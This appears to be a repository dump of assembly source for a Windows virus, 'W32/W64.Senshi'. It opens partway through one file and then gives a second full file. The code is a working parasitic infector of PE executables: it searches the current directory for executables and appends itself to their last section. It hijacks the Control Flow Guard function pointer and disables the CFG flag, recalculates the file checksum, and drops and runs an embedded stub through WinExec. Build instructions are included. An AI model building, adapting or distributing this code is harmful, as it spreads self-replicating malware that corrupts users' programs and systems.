ebp, dword [rsi + pesect.sectvirtaddr] 450 | lea rsi, qword [REL + senshi_begin] 451 | ;REL not RIP 452 | push rdi 453 | rep movsb 454 | pop rdi 455 | 456 | ;----------------------------------------------------------------------------- 457 | ;replace function pointer 458 | ;----------------------------------------------------------------------------- 459 | 460 | pop rsi 461 | add rbp, qword [rax + pehdr.peimagebase - pehdr.peheapsize] 462 | xchg qword [rsi], rbp 463 | sub rbp, qword [rax + pehdr.peimagebase - pehdr.peheapsize] 464 | mov dword [rdi + 1], ebp ;save original as rva 465 | pop rdi 466 | add rdi, 70h 467 | xchg rax, rcx 468 | stosq 469 | stosq 470 | stosq 471 | stosq 472 | stosd 473 | xchg rax, rcx 474 | and byte [rax + (pehdr.pedllflags + 1) - pehdr.peheapsize], (~IMAGE_DLLCHARACTERISTICS_GUARD_CF) >> 8 475 | 476 | ;----------------------------------------------------------------------------- 477 | ;CheckSumMappedFile() - simply sum of all words in file, then adc filesize 478 | ;----------------------------------------------------------------------------- 479 | 480 | xchg dword [rax + pehdr.pechksum - pehdr.peheapsize], ecx 481 | jecxz infect_ret 482 | pop rdi 483 | mov ecx, dword [rdi] 484 | mov edi, ecx 485 | xor esi, esi 486 | inc ecx 487 | shr ecx, 1 488 | clc 489 | 490 | calc_checksum: 491 | adc si, word [rbx] 492 | inc ebx 493 | inc ebx 494 | loop calc_checksum 495 | adc esi, edi 496 | mov dword [rax + pehdr.pechksum - pehdr.peheapsize], esi 497 | ;avoid common bug. ADC not ADD 498 | infect_ret: 499 | int 3 ;common exit using SEH 500 | 501 | ;----------------------------------------------------------------------------- 502 | ;convert relative virtual address to raw file offset 503 | ;----------------------------------------------------------------------------- 504 | 505 | rvaloop: 506 | sub rsi, pesect_size 507 | db 3ch ;mask PUSH ESI 508 | 509 | rva2raw: ;ecx = RVA, esi -> last section header 510 | push rsi 511 | cmp dword [rsi + pesect.sectvirtaddr], ecx 512 | jnbe rvaloop 513 | sub ecx, dword [rsi + pesect.sectvirtaddr] 514 | add ecx, dword [rsi + pesect.sectrawaddr] 515 | add rcx, rbx 516 | pop rsi 517 | ret 518 | 519 | ;----------------------------------------------------------------------------- 520 | ;parse export table 521 | ;----------------------------------------------------------------------------- 522 | 523 | parse_exps: 524 | pop rsi 525 | pop rbp 526 | mov eax, dword [rbp + mzhdr.mzlfanew] 527 | mov ebx, dword [rbp + rax + pehdr.peexport] 528 | add rbx, rbp 529 | cdq 530 | 531 | walk_names: 532 | inc edx 533 | mov eax, dword [rbx + peexp.expnamerva] 534 | add rax, rbp 535 | mov edi, dword [rax + rdx * 4] 536 | add rdi, rbp 537 | or eax, -1 538 | 539 | crc_outer: 540 | xor al, byte [rdi] 541 | push 8 542 | pop rcx 543 | 544 | crc_inner: 545 | shr eax, 1 546 | jnc crc_skip 547 | xor eax, 0edb88320h 548 | 549 | crc_skip: 550 | loop crc_inner 551 | inc rdi 552 | cmp byte [rdi], cl 553 | jne crc_outer 554 | not eax 555 | cmp dword [rsi], eax 556 | jne walk_names 557 | 558 | ;----------------------------------------------------------------------------- 559 | ;exports must be sorted alphabetically, otherwise GetProcAddress() would fail 560 | ;this allows to push addresses onto the stack, and the order is known 561 | ;----------------------------------------------------------------------------- 562 | 563 | mov edi, dword [rbx + peexp.expordrva] 564 | add rdi, rbp 565 | movzx edi, word [rdi + rdx * 2] 566 | mov eax, dword [rbx + peexp.expadrrva] 567 | add rax, rbp 568 | mov eax, dword [rax + rdi * 4] 569 | add rax, rbp 570 | push rax 571 | lodsd 572 | sub cl, byte [rsi] 573 | jne walk_names 574 | inc rsi 575 | jmp rsi 576 | 577 | senshi_end: 578 | 579 | create_crcs: 580 | or eax, -1 581 | 582 | create_outer: 583 | xor al, byte [rbx] 584 | push 8 585 | pop rcx 586 | 587 | create_inner: 588 | shr eax, 1 589 | jnc create_skip 590 | xor eax, 0edb88320h 591 | 592 | create_skip: 593 | loop create_inner 594 | inc ebx 595 | cmp byte [rbx], cl 596 | jne create_outer 597 | not eax 598 | stosd 599 | inc rbx 600 | dec edx 601 | jne create_crcs 602 | ret 603 | 604 | 605 | ntdnames db "RtlAddVectoredExceptionHandler" , 0 606 | db "RtlRemoveVectoredExceptionHandler", 0 607 | 608 | krnnames db "CloseHandle" , 0 609 | db "CreateFileMappingW", 0 610 | db "CreateFileW" , 0 611 | db "FindClose" , 0 612 | db "FindFirstFileW" , 0 613 | db "FindNextFileW" , 0 614 | db "MapViewOfFile" , 0 615 | db "SetEndOfFile" , 0 616 | db "SetFileAttributesW", 0 617 | db "SetFilePointer" , 0 618 | db "SetFileTime" , 0 619 | db "UnmapViewOfFile" , 0 620 | 621 | txttitle db "senshi", 0 622 | txtbody db "done...", 0 -------------------------------------------------------------------------------- /SENSHI48/SENSHI.ASM: -------------------------------------------------------------------------------- 1 | ;W32/W64.Senshi by hh86 2 | ; 3 | ;some of its features: 4 | ;- parasitic direct action infector of PE exe (but not looking at suffix) 5 | ;- infects files in current directory 6 | ;- new EPO for I386/AMD64 files: 7 | ; hooks the Control Flow Guard function 8 | ;- last section appender 9 | ;- uses CRCs instead of API names 10 | ;- uses VEH for common code exit 11 | ;- supports ASLR/DEP/CFG enabled files 12 | ;- no infect files with data outside of image (eg infected files, self-extractors) 13 | ;- correct file checksum without using imagehlp.dll :) 100% correct algorithm by rgb 14 | ;- plus some new code optimisations that were never seen before BeautifulSky by Tomasz Grysztar 15 | ;---- 16 | ; 17 | ;to build this thing: 18 | ;yasm 19 | ;---- 20 | ;yasm -f win32 -o senshi.obj senshi.asm 21 | ;link senshi.obj /defaultlib:kernel32.lib /defaultlib:user32.lib /entry:dropper /section:.text,erw /subsystem:console 22 | ;--- 23 | ; 24 | ;Young eagle, rise in the air! 25 | ; You stared at the sun! 26 | ;My light and delicate gaze can't compare 27 | ; 28 | ;I stood, more tender than those 29 | ; Who've witnessed you disappear... 30 | ;I'm kissing you now - across 31 | ; The gap of a thousand years. 32 | ;Marina Tsvetaeva (1916) 33 | 34 | bits 32 35 | 36 | extern _MessageBoxA@16:proc 37 | extern _ExitProcess@4:proc 38 | 39 | CODESIZE equ (senshi_end - senshi_inf) 40 | 41 | global _dropper 42 | %include "senshi.inc" 43 | section .text 44 | _dropper: 45 | mov edx, dllcrcstk_size >> 2 46 | mov esi, dllnames 47 | mov edi, dllcrcbegin 48 | call create_crcs 49 | mov edx, krncrcstk_size >> 2 50 | mov esi, krnnames 51 | mov edi, krncrcbegin 52 | call create_crcs 53 | call senshi_execode 54 | xor eax, eax 55 | push eax 56 | push eax 57 | push title 58 | push message 59 | push eax 60 | call _MessageBoxA@16 61 | call _ExitProcess@4 62 | 63 | create_crcs: 64 | or eax, -1 65 | 66 | create_outer: 67 | xor al, byte [esi] 68 | push 8 69 | pop ecx 70 | 71 | create_inner: 72 | shr eax, 1 73 | jnc create_skip 74 | xor eax, 0edb88320h 75 | 76 | create_skip: 77 | loop create_inner 78 | inc esi 79 | cmp byte [esi], cl 80 | jne create_outer 81 | not eax 82 | stosd 83 | inc esi 84 | dec edx 85 | jne create_crcs 86 | ret 87 | ;----------------------------------------------------------------------------- 88 | ;everything before this point is dropper code 89 | ;----------------------------------------------------------------------------- 90 | 91 | ;----------------------------------------------------------------------------- 92 | ;main virus body. everything happens in here 93 | ;----------------------------------------------------------------------------- 94 | 95 | senshi_inf: 96 | ;at entrypoint, ecx must be 0 97 | ;on 32-bit platform 98 | call init_krncommon 99 | 100 | ;----------------------------------------------------------------------------- 101 | ;API CRC table, null terminated 102 | ;----------------------------------------------------------------------------- 103 | 104 | krncrcbegin: 105 | times krncrcstk_size + 1 db 0 106 | ; db "Senshi - hh86" 107 | 108 | xor ebx, ebx 109 | 110 | ;----------------------------------------------------------------------------- 111 | ;find files in current directory only 112 | ;----------------------------------------------------------------------------- 113 | 114 | enter WIN32_FIND_DATA_size, 0 115 | push '*' 116 | mov edi, esp 117 | push edi 118 | push edi 119 | call dword [ebp + 4 + krncrcstk.kFindFirstFileW] 120 | push eax 121 | 122 | ;and one July day in 1786, the Raven God appeared 123 | 124 | test_dir: 125 | pop eax 126 | push eax 127 | push edi 128 | push eax 129 | test byte [edi + WIN32_FIND_DATA.dwFileAttributes], FILE_ATTRIBUTE_DIRECTORY 130 | jne find_next 131 | lea edx, dword [ebx + FILE_ATTRIBUTE_ARCHIVE] 132 | call set_fileattr 133 | call open_file 134 | 135 | find_next: 136 | call dword [ebp + 4 + krncrcstk.kFindNextFileW] 137 | dec eax 138 | je test_dir 139 | call dword [ebp + 4 + krncrcstk.kFindClose] 140 | lea esp, dword [ebp + 4 + krncrcstk_size] 141 | ret 142 | 143 | open_file: ;esi = file name, ebp -> platform APIs 144 | push ebx 145 | push ebx 146 | push OPEN_EXISTING 147 | push ebx 148 | push ebx 149 | push FILE_READ_DATA | FILE_WRITE_DATA 150 | push esi 151 | call dword [ebp + 4 + krncrcstk.kCreateFileW] 152 | lea ecx, dword [edi + WIN32_FIND_DATA.ftLastWriteTime] 153 | lea edx, dword [edi + WIN32_FIND_DATA.ftLastAccessTime] 154 | push eax ;CloseHandle 155 | push ecx ;SetFileTime 156 | push edx ;SetFileTime 157 | push ebx ;SetFileTime 158 | push eax ;SetFileTime 159 | push eax ;SetEndOfFile 160 | xchg eax, esi 161 | call map_view 162 | push ebx 163 | push ebx 164 | push dword [edi + WIN32_FIND_DATA.dwFileSizeLow] 165 | push esi 166 | call dword [ebp + 4 + krncrcstk.kSetFilePointer] 167 | call dword [ebp + 4 + krncrcstk.kSetEndOfFile] 168 | call dword [ebp + 4 + krncrcstk.kSetFileTime] 169 | call dword [ebp + 4 + krncrcstk.kCloseHandle] 170 | 171 | ;----------------------------------------------------------------------------- 172 | ;reset/set read-only file attribute 173 | ;----------------------------------------------------------------------------- 174 | 175 | mov edx, dword [edi + WIN32_FIND_DATA.dwFileAttributes] 176 | 177 | set_fileattr: ;edx = file attributes, edi -> find data, ebp -> platform APIs 178 | lea esi, dword [edi + WIN32_FIND_DATA.cFileName] 179 | push edx 180 | push esi 181 | call dword [ebp + 4 + krncrcstk.kSetFileAttributesW] 182 | ret ;esi -> file name 183 | db "29/12/19" 184 | 185 | ;----------------------------------------------------------------------------- 186 | ;create file map, and map view if successful 187 | ;----------------------------------------------------------------------------- 188 | 189 | map_view: ;esi = file handle, edi -> find data, ebp -> platform APIs 190 | mov edx, dword [edi + WIN32_FIND_DATA.dwFileSizeLow] 191 | add edx, CODESIZE 192 | push ebx 193 | push edx 194 | push ebx 195 | push PAGE_READWRITE 196 | push ebx 197 | push esi 198 | call dword [ebp + 4 + krncrcstk.kCreateFileMappingW] 199 | push eax 200 | push ebx 201 | push ebx 202 | push ebx 203 | push FILE_MAP_WRITE 204 | push eax 205 | call dword [ebp + 4 + krncrcstk.kMapViewOfFile] 206 | push eax 207 | pushad ;SEH destroys all registers 208 | call infect_file 209 | 210 | unmap_seh: 211 | pop eax 212 | pop eax 213 | pop esp 214 | xor eax, eax 215 | fs pop dword [eax] 216 | pop eax 217 | popad 218 | call dword [ebp + 4 + krncrcstk.kUnmapViewOfFile] 219 | call dword [ebp + 4 + krncrcstk.kCloseHandle] 220 | ret 221 | 222 | ;----------------------------------------------------------------------------- 223 | ;recover kernel32 image base 224 | ;----------------------------------------------------------------------------- 225 | 226 | init_kernel32: 227 | setz cl ;ZF = 1 in 64-bit 228 | 229 | init_krncommon: 230 | imul edi, ecx, 8 ;qword 231 | inc cl 232 | imul edx, ecx, 0ch ;both pebLdr and ldrInLoadOrderModuleList are 0ch 233 | dec eax 234 | mov ebx, dword [ebx + edx] ;pebLdr 235 | add edx, edi 236 | dec eax 237 | mov ebx, dword [ebx + edx] ;ldrInLoadOrderModuleList 238 | dec eax 239 | mov esi, dword [ebx] 240 | dec eax 241 | lodsd 242 | push dword [eax + edi + mlDllBase] 243 | pop ebp 244 | 245 | ;----------------------------------------------------------------------------- 246 | ;parse export table 247 | ;----------------------------------------------------------------------------- 248 | 249 | parse_exports: 250 | dec cl 251 | shl cl, 4 252 | mov edx, dword [ebp + mzhdr.mzlfanew] 253 | add edx, ecx 254 | mov ebx, dword [ebp + edx + pehdr.peexport] 255 | xor edx, edx 256 | pop esi 257 | 258 | walk_names: 259 | bits 64 260 | inc edx 261 | bits 32 262 | mov ecx, dword [ebp + ebx + peexp.expnamerva] 263 | dec eax 264 | add ecx, ebp 265 | mov edi, dword [edx * 4 + ecx] 266 | dec eax 267 | add edi, ebp 268 | or eax, -1 269 | 270 | crc32_outer: 271 | xor al, byte [edi] 272 | push 8 273 | pop ecx 274 | 275 | crc32_inner: 276 | shr eax, 1 277 | jnc crc32_loop 278 | xor eax, 0edb88320h 279 | 280 | crc32_loop: 281 | loop crc32_inner 282 | scasb 283 | cmp byte [edi], cl 284 | jne crc32_outer 285 | not eax 286 | cmp dword [esi], eax 287 | jne walk_names 288 | 289 | ;----------------------------------------------------------------------------- 290 | ;exports must be sorted alphabetically, otherwise GetProcAddress() would fail 291 | ;this allows to push addresses onto the stack, and the order is known 292 | ;----------------------------------------------------------------------------- 293 | 294 | mov edi, dword [ebp + ebx + peexp.expordrva] 295 | dec eax 296 | add edi, ebp 297 | movzx edi, word [edx * 2 + edi] 298 | mov ecx, dword [ebp + ebx + peexp.expadrrva] 299 | dec eax 300 | add ecx, ebp 301 | mov ecx, dword [edi * 4 + ecx] 302 | dec eax 303 | add ecx, ebp 304 | push ecx 305 | lodsd 306 | cmp byte [esi], 0 307 | jne walk_names 308 | bits 64 309 | inc rsi 310 | bits 32 311 | jmp esi 312 | 313 | ;----------------------------------------------------------------------------- 314 | ;test MZ and PE signatures 315 | ;----------------------------------------------------------------------------- 316 | 317 | test_infect: ;edi = find data, esi = map view, ebx = 0 318 | cmp word [esi], 'MZ' 319 | jne test_ret 320 | mov ebp, esi 321 | add esi, dword [esi + mzhdr.mzlfanew] 322 | lodsd 323 | sub eax, 'PE' 324 | jne test_ret 325 | 326 | ;----------------------------------------------------------------------------- 327 | ;I386 and AMD64 machines 328 | ;----------------------------------------------------------------------------- 329 | 330 | xchg ecx, eax 331 | lodsd 332 | cmp ax, IMAGE_FILE_MACHINE_I386 333 | je inftest_flags 334 | cmp ax, IMAGE_FILE_MACHINE_AMD64 335 | jne test_ret 336 | mov cl, 10h 337 | 338 | inftest_flags: 339 | mov ax, word [esi + coffhdr.peflags - coffhdr.petimedate] 340 | and ax, IMAGE_FILE_EXECUTABLE_IMAGE | IMAGE_FILE_DLL | IMAGE_FILE_SYSTEM 341 | cmp ax, IMAGE_FILE_EXECUTABLE_IMAGE 342 | jne test_ret 343 | 344 | ;----------------------------------------------------------------------------- 345 | ;test subsystem 346 | ;----------------------------------------------------------------------------- 347 | 348 | mov edx, dword [esi + pehdr.pesubsys - coffhdr.pesymbrva] 349 | dec edx 350 | dec edx 351 | cmp dx, IMAGE_SUBSYSTEM_WINDOWS_GUI - 1 352 | jnbe test_ret 353 | 354 | ;----------------------------------------------------------------------------- 355 | ;avoid files which seem to contain attribute certificates 356 | ;because one of those certificates might be a digital signature 357 | ;----------------------------------------------------------------------------- 358 | 359 | movzx edx, word [esi + coffhdr.peopthdrsize - coffhdr.petimedate] 360 | jecxz inftest_dirs 361 | cmp edx, pehdr64.pe64bound - pehdr64.pe64magic 362 | jb test_ret 363 | 364 | inftest_dirs: 365 | cmp edx, pehdr.pebound - pehdr.pemagic 366 | jb test_ret 367 | lea eax, dword [esi + pehdr.pechksum - coffhdr.pesymbrva] 368 | cmp dword [eax + ecx + pehdr.pesecurity - pehdr.pechksum], ebx 369 | jne test_ret 370 | 371 | ;----------------------------------------------------------------------------- 372 | ;don't infect files with data outside the image (eg self-extractors, etc) 373 | ;don't infect files with SizeOfRawData < VirtualSize: it may be a buffer 374 | ;----------------------------------------------------------------------------- 375 | 376 | lea esi, dword [esi + edx + pehdr.pemagic - coffhdr.pesymbrva - pesect_size] 377 | imul dx, word [eax + pehdr.pecoff + coffhdr.pesectcount - pehdr.pechksum], pesect_size 378 | add esi, edx 379 | mov ebx, dword [esi + pesect.sectrawaddr] 380 | add ebx, dword [esi + pesect.sectrawsize] 381 | add edi, WIN32_FIND_DATA.dwFileSizeLow 382 | cmp dword [edi], ebx 383 | jne test_ret ;file contains appended data 384 | mov edx, dword [esi + pesect.sectrawsize] 385 | cmp dword [esi + pesect.sectvirtsize], edx 386 | ja test_ret 387 | 388 | ;----------------------------------------------------------------------------- 389 | ;find our entry point 390 | ;----------------------------------------------------------------------------- 391 | 392 | mov edx, dword [eax + ecx + pehdr.peconfig + pedir.dirrva - pehdr.pechksum] 393 | call rva2raw 394 | test edx, edx 395 | je test_ret 396 | mov ebx, edx 397 | jecxz inftest_epo 398 | cmp dword [edx], GuardFlags64 + 4 399 | jb test_ret 400 | movq mm1, qword [edx + GuardCFDispatchFunctionPointer64] 401 | psubq mm1, qword [eax + pehdr64.pe64imagebase - pehdr.pechksum] 402 | movd edx, mm1 403 | test edx, edx ;pcmpeqd takes more instructions 404 | jne inftest_ret 405 | int3 406 | 407 | inftest_epo: 408 | cmp dword [edx], GuardFlags + 4 409 | jb test_ret 410 | mov edx, dword [edx + GuardCFCheckFunctionPointer] 411 | test edx, edx 412 | je test_ret ;no CFDispatch for Intel386 files 413 | sub edx, dword [eax + pehdr.peimagebase - pehdr.pechksum] 414 | 415 | inftest_ret: 416 | call rva2raw 417 | ret 418 | 419 | test_ret: 420 | int3 421 | 422 | ;----------------------------------------------------------------------------- 423 | ;convert relative virtual address to raw file offset 424 | ;----------------------------------------------------------------------------- 425 | 426 | rvaloop: 427 | sub esi, pesect_size 428 | db 3ch ;mask PUSH ESI 429 | 430 | rva2raw: ;ecx = RVA, esi -> last section header 431 | push esi 432 | cmp dword [esi + pesect.sectvirtaddr], edx 433 | jnbe rvaloop 434 | sub edx, dword [esi + pesect.sectvirtaddr] 435 | add edx, dword [esi + pesect.sectrawaddr] 436 | add edx, ebp 437 | pop esi 438 | ret 439 | 440 | ;----------------------------------------------------------------------------- 441 | ;infect file 442 | ;algorithm: * 443 | ; append last section and insert virus code there, image size is 444 | ; increased. file size only increases by the size of the virus code 445 | ; the code supports ASLR/DEP enabled files, so no need to alter 446 | ; dll flags (clear NO_SEH and SafeSEH is only for 32-bit PE) 447 | ; CFG function pointer is altered. very simple 448 | ;----------------------------------------------------------------------------- 449 | 450 | infect_file: 451 | fs push dword [ebx] 452 | fs mov dword [ebx], esp 453 | xchg eax, esi 454 | call test_infect 455 | push edi 456 | push ecx 457 | push ebx 458 | push ecx 459 | push dword [esi + pesect.sectrawsize] 460 | mov ecx, CODESIZE 461 | add dword [esi + pesect.sectrawsize], ecx 462 | add dword [esi + pesect.sectvirtsize], ecx 463 | add dword [edi], ecx 464 | mov edi, dword [esi + pesect.sectvirtsize] 465 | mov ebx, dword [eax + pehdr.pesectalign - pehdr.pechksum] 466 | dec ebx 467 | add edi, ebx 468 | not ebx 469 | and edi, ebx ;section align virtual size 470 | add edi, dword [esi + pesect.sectvirtaddr] 471 | mov dword [eax + pehdr.peimagesize - pehdr.pechksum], edi 472 | 473 | ;----------------------------------------------------------------------------- 474 | ;we don't need write bit, but executable for DEP 475 | ;----------------------------------------------------------------------------- 476 | 477 | or byte [esi + pesect.sectflags + 3], IMAGE_SCN_MEM_EXECUTE >> 18h 478 | 479 | ;----------------------------------------------------------------------------- 480 | ;expend ESI, copy virus code 481 | ;----------------------------------------------------------------------------- 482 | 483 | pop edi 484 | mov ebx, edi 485 | add ebx, dword [esi + pesect.sectvirtaddr] 486 | add edi, dword [esi + pesect.sectrawaddr] 487 | add edi, ebp 488 | mov esi, dword [esp + 0ch + 8] 489 | sub esi, unmap_seh - senshi_inf 490 | rep movsb 491 | 492 | ;----------------------------------------------------------------------------- 493 | ;alter function pointer 494 | ;----------------------------------------------------------------------------- 495 | 496 | pop ecx 497 | add ebx, senshi_execode - senshi_inf 498 | jecxz infect_ia32 499 | movd mm1, ebx 500 | paddq mm1, qword [eax + pehdr64.pe64imagebase - pehdr.pechksum] 501 | movq qword [edx], mm1 502 | add cl, GuardCFCheckFunctionPointer64 - GuardCFCheckFunctionPointer - 10h 503 | jmp infect_clear 504 | 505 | infect_ia32: 506 | add ebx, dword [eax + pehdr.peimagebase - pehdr.pechksum] 507 | mov dword [edx], ebx 508 | 509 | infect_clear: 510 | and byte [eax + pehdr.pedllflags + 1 - pehdr.pechksum], (~IMAGE_DLLCHARACTERISTICS_GUARD_CF) >> 8 511 | pop edi 512 | lea edi, dword [edi + ecx + GuardCFCheckFunctionPointer] 513 | pop ecx 514 | add cl, (GuardFlags + 4) - GuardCFCheckFunctionPointer 515 | push eax 516 | xor eax, eax 517 | rep stosb 518 | pop eax 519 | 520 | ;----------------------------------------------------------------------------- 521 | ;CheckSumMappedFile() - simply sum of all words in file, then adc filesize 522 | ;----------------------------------------------------------------------------- 523 | 524 | xchg dword [eax], ecx 525 | jecxz infect_ret 526 | pop ecx 527 | mov ecx, dword [ecx] 528 | push ecx 529 | cdq 530 | inc ecx 531 | shr ecx, 1 532 | clc 533 | 534 | calc_checksum: 535 | adc dx, word [ebp] 536 | inc ebp 537 | inc ebp 538 | loop calc_checksum 539 | pop dword [eax] 540 | adc dword [eax], edx ;avoid common bug. ADC not ADD 541 | 542 | infect_ret: 543 | int3 ;common exit using SEH 544 | 545 | ;----------------------------------------------------------------------------- 546 | ;platform-independent get architecture by qkumba 547 | ;determine platform and dynamically adjust function address size 548 | ;----------------------------------------------------------------------------- 549 | 550 | call_dllcrc: 551 | push ecx ;eax = API offset in 32-bit, esi -> platform APIs 552 | xor ecx, ecx 553 | arpl cx, cx ;movsxd ecx, ecx in x64 554 | setz cl 555 | shl eax, cl 556 | pop ecx 557 | jmp dword [esi + eax] 558 | 559 | senshi_execode: 560 | push eax 561 | push esi 562 | push ebp 563 | push edi 564 | push ebx 565 | push edx 566 | push ecx 567 | push 60h 568 | pop edx 569 | xor eax, eax ;platform detection trap :) 570 | push eax 571 | dec eax ;REX prefix in 64-bit, but also sets SF in 32-bit 572 | fs cmovs ebx, dword [30h] ;now ebx points to PEB in 32-bit 573 | ;yasm doesn't compile this instruction correctly on bits 64 mode 574 | bits 64 575 | cmovs edx, esp ;known memory to avoid invalid access in 32-bit mode 576 | gs cmovns rbx, qword [rdx] ;now rbx points to PEB in 64-bit, in 32-bit this becomes: 577 | ;gs dec eax 578 | ;cmovns ebx, dword [edx] 579 | bits 32 580 | pop ecx 581 | call init_kernel32 582 | 583 | ;----------------------------------------------------------------------------- 584 | ;API CRC table, null terminated 585 | ;----------------------------------------------------------------------------- 586 | 587 | exesize equ 4000h 588 | 589 | dllcrcbegin: 590 | times dllcrcstk_size + 1 db 0 591 | push esp 592 | pop esi 593 | push exesize 594 | pop edx 595 | push GMEM_ZEROINIT 596 | pop ecx 597 | push eax 598 | push eax 599 | push edx 600 | push ecx 601 | push dllcrcstk.dGlobalAlloc 602 | pop eax 603 | call call_dllcrc 604 | test eax, eax 605 | je senshi_exeret 606 | push esi 607 | call skip_exe 608 | 609 | imagebase equ 0 610 | 611 | stub_begin: 612 | db 'M', 'Z' ;00 DOS signature 613 | db 0, 0 ;02 align 4 614 | db 'P', 'E', 0, 0 ;04 PE signature 615 | filehdr dw 14ch ;08 machine 616 | dw 0 ;0a number of sections 617 | dd 0 ;0c date/time stamp (overload for reloc page rva) 618 | dd 0ch ;10 pointer to symbol table (overload for reloc block size) 619 | dw 3000h + (cfg_fp - stub_begin), 3000h + (cfg_tp - stub_begin) 620 | ;14 number of symbols (overload for reloc entries) 621 | dw 8 ;18 size of optional header 622 | dw 2 ;1a characteristics 623 | opthdr dw 10bh ;1c magic 624 | db 'v' ;1e major linker 625 | db 'c' ;1f minor linker 626 | dd ".exe" ;20 size of code 627 | dd 0 ;24 size of init data 628 | dd 0 ;28 size of uninit data 629 | dd teleport_init - stub_begin ;2c entry point (must be aligned) 630 | dd 0 ;30 base of code 631 | dd 0ch ;34 base of data (overload for lfanew) 632 | dd imagebase ;38 image base 633 | dd 4 ;3c section align 634 | dd 4 ;40 file align 635 | dw 0 ;44 major os 636 | dw 0 ;46 minor os 637 | dw 0 ;48 major image 638 | dw 0 ;4a minor image 639 | dw 4 ;4c major subsys 640 | dw 0 ;4e minor subsys 641 | dd 0 ;50 reserved 642 | dd "vc!" ;54 size of image 643 | dd 0 ;58 size of headers 644 | dd 0 ;5c checksum 645 | dw 3 ;60 subsystem 646 | dw 4140h ;62 dll characteristics (CFG/ASLR/DEP enabled) 647 | dd 0 ;64 size of stack reserve 648 | dd 0 ;68 size of stack commit 649 | dd 0 ;6c size of heap reserve 650 | dd 0 ;70 size of heap commit 651 | dd 0 ;74 loader flags 652 | dd 0bh ;78 number of rva and sizes 653 | dd 0, 0 ;7c-80 export 654 | dd 0, 0 ;84-88 import 655 | dd 0, 0 ;8c-90 resource 656 | dd 0, 0 ;94-98 exception 657 | dd 0, 0 ;9c-a0 certificate 658 | dd 0ch, 0ch ;a4-a8 base reloc 659 | dd 0, 0 ;ac-b0 debug 660 | dd 0, 0 ;b4-b8 arch 661 | dd 0, 0 ;bc-c0 reserved 662 | dd 0, 0 ;c4-c8 tls 663 | dd 0d4h, 5ch ;cc-d0 config 664 | cfgdir dd 5ch ;d4 size 665 | times 44h db 0 ;d8 unused fields 666 | cfg_fp dd imagebase + (teleport_init - stub_begin) + 1 667 | ;11c CFG address of check-function pointer 668 | dd 0 ;120 CFG address of dispatch-function pointer 669 | cfg_tp dd imagebase + CODESIZE + (code_buffer - stub_begin) 670 | ;124 CFG function table 671 | dd 1 ;128 CFG function count 672 | dd 10004500h ;12c CFG flags 673 | 674 | teleport_init: 675 | mov esi, "vc!" ;130 entry point 676 | inc esi 677 | inc esi 678 | lodsd 679 | xchg esi, eax 680 | lodsd 681 | mov edx, dword [ebx + 8] ;ebx = fs:[30h] at start time 682 | lea edi, dword [edx + code_buffer - stub_begin] 683 | add dh, 2 684 | shr edx, 8 685 | lea esi, dword [edx * 4 + eax] 686 | mov ecx, CODESIZE 687 | rep movsb 688 | code_buffer: 689 | 690 | skip_exe: 691 | pop esi 692 | push eax 693 | push eax 694 | pop edi 695 | push eax 696 | pop ebp 697 | mov ecx, code_buffer - stub_begin 698 | rep movsb 699 | dec eax 700 | sub esi, code_buffer - senshi_inf 701 | mov ecx, senshi_end - senshi_inf 702 | dec eax 703 | add edi, ecx 704 | mov eax, teleport_init - stub_begin 705 | stosd 706 | scasb 707 | mov edx, 1f0h 708 | 709 | test_group: 710 | lodsb 711 | push 4 712 | pop ebx 713 | 714 | test_bits: 715 | push eax 716 | add edx, 10h 717 | and al, 3 718 | je skip_test 719 | dec al 720 | je store_rva 721 | dec al 722 | je store_exp 723 | inc dword [edi] ;valid but unaligned 724 | db 0b8h ;mask MOV 725 | 726 | store_exp: 727 | mov byte [edi + 4], 2 728 | 729 | store_rva: 730 | add dword [edi], edx 731 | inc dword [ebp + 128h] 732 | scasd 733 | scasb 734 | 735 | skip_test: 736 | pop eax 737 | shr al, 2 738 | bits 64 739 | dec ebx 740 | bits 32 741 | jnz test_bits 742 | loop test_group 743 | mov dword [ebp + 54h], edx 744 | pop edi 745 | pop esi 746 | xor ebx, ebx 747 | push ebx 748 | push ebx 749 | push ebx 750 | push CREATE_ALWAYS | FILE_WRITE_DATA 751 | pop edx 752 | push edx 753 | dec ebp 754 | xor ecx, ecx 755 | dec ebp 756 | xor eax, eax 757 | push ebx 758 | push ebx 759 | push edx 760 | dec eax 761 | lea ecx, dword [edi + 1eh] 762 | push ecx 763 | push dllcrcstk.dCreateFileA 764 | pop eax 765 | call call_dllcrc 766 | push ebx 767 | push eax 768 | pop ebx 769 | push esp 770 | dec ebp 771 | pop ecx 772 | push esp 773 | mov edx, exesize 774 | push edx 775 | push edi 776 | push ebx 777 | push edx 778 | dec ebp 779 | pop eax 780 | push edi 781 | pop edx 782 | push ebx 783 | pop ecx 784 | xor eax, eax 785 | call call_dllcrc 786 | push ebx 787 | push ebx 788 | pop ecx 789 | push dllcrcstk.dCloseHandle 790 | pop eax 791 | call call_dllcrc 792 | push edi 793 | push edi 794 | pop ecx 795 | push dllcrcstk.dGlobalFree 796 | pop eax 797 | call call_dllcrc 798 | dec eax 799 | lea ecx, dword [edi + 1eh] 800 | push eax 801 | pop edx 802 | push edx 803 | push edx 804 | push ecx 805 | push dllcrcstk.dWinExec 806 | pop eax 807 | call call_dllcrc 808 | 809 | senshi_exeret: 810 | push esi 811 | pop esp 812 | pop eax 813 | pop eax 814 | pop eax 815 | pop eax 816 | pop eax 817 | pop eax 818 | pop ecx 819 | pop edx 820 | pop ebx 821 | pop edi 822 | pop ebp 823 | pop esi 824 | lea eax, [si] ;TG! 825 | pop eax 826 | ret 827 | 828 | senshi_end: 829 | 830 | dllnames db "CloseHandle", 0 831 | db "CreateFileA", 0 832 | db "GlobalAlloc", 0 833 | db "GlobalFree" , 0 834 | db "WinExec" , 0 835 | db "WriteFile" , 0 836 | 837 | krnnames db "CloseHandle" , 0 838 | db "CreateFileMappingW", 0 839 | db "CreateFileW" , 0 840 | db "FindClose" , 0 841 | db "FindFirstFileW" , 0 842 | db "FindNextFileW" , 0 843 | db "MapViewOfFile" , 0 844 | db "SetEndOfFile" , 0 845 | db "SetFileAttributesW", 0 846 | db "SetFilePointer" , 0 847 | db "SetFileTime" , 0 848 | db "UnmapViewOfFile" , 0 849 | 850 | title db "Senshi", 0 851 | message db "running...", 0 --------------------------------------------------------------------------------